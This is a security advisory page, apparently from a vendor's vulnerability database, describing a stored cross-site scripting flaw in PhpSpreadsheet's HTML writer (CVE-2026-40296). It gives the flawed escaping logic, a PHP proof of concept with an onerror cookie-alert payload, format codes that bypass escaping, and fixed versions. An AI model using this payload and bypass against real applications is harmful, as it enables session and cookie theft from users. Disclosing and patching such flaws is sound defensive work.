Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘 Packagist

GHSA-hrmw-qprp-wgmc

MEDIUM

GHSA-hrmw-qprp-wgmc is a medium-severity (CVSS 5.4) Cross-site Scripting (XSS) vulnerability in phpoffice/phpspreadsheet. O3 Security confirms whether GHSA-hrmw-qprp-wgmc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

Also known asCVE-2026-40296
Published
Apr 28, 2026
Updated
May 8, 2026
Affected
5 pkgs
Patched
5 / 5
Exploits
None indexed

Blast Radius

5 pkgs affected
🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

The Problem

In Writer/Html.php around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply htmlspecialchars():

if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}

When a cell has a custom number format containing @ (text placeholder) with any additional literal characters, the formatter replaces @ with the cell value and adds the extra characters. This makes $cellData !== $origData, so htmlspecialchars() is skipped entirely.

Even a single trailing space in the format (@ ) is enough to bypass the escape.

Proof of Concept

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');

The generated HTML contains:

<td>. <img src=x onerror=alert(document.cookie)></td>

The XSS payload is completely unescaped.

Tested Bypass Formats

Format CodeResultEscaped?
General (default)Original valueYES (safe)
. @. + valueNO (XSS!)
@ (trailing space)value + NO (XSS!)
x@x + valueNO (XSS!)

This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

Impact

Any application that:

  1. Accepts uploaded XLSX files from users
  2. Converts them to HTML using PhpSpreadsheet's HTML writer
  3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's xl/styles.xml.

Suggested Fix

Always apply htmlspecialchars() regardless of whether formatting changed the value:

// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');

Or escape AFTER formatting, not conditionally based on equality.

Reporter

Keyvan Hardani

Affected Packages

5 total 5 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistphpoffice/phpspreadsheet4.0.0&&< 5.7.05.7.0
🐘Packagistphpoffice/phpspreadsheet3.3.0&&< 3.10.53.10.5
🐘Packagistphpoffice/phpspreadsheet2.2.0&&< 2.4.52.4.5
🐘Packagistphpoffice/phpspreadsheet2.0.0&&< 2.1.162.1.16
🐘Packagistphpoffice/phpspreadsheetall versions1.30.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update phpoffice/phpspreadsheet to 5.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hrmw-qprp-wgmc is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-hrmw-qprp-wgmc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-hrmw-qprp-wgmc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes. ## The Problem In `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`: ```php if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, ...); } ``` When a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !==
O3 Security · Impact-Aware SCA

Is GHSA-hrmw-qprp-wgmc in your dependencies?

O3 detects GHSA-hrmw-qprp-wgmc across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.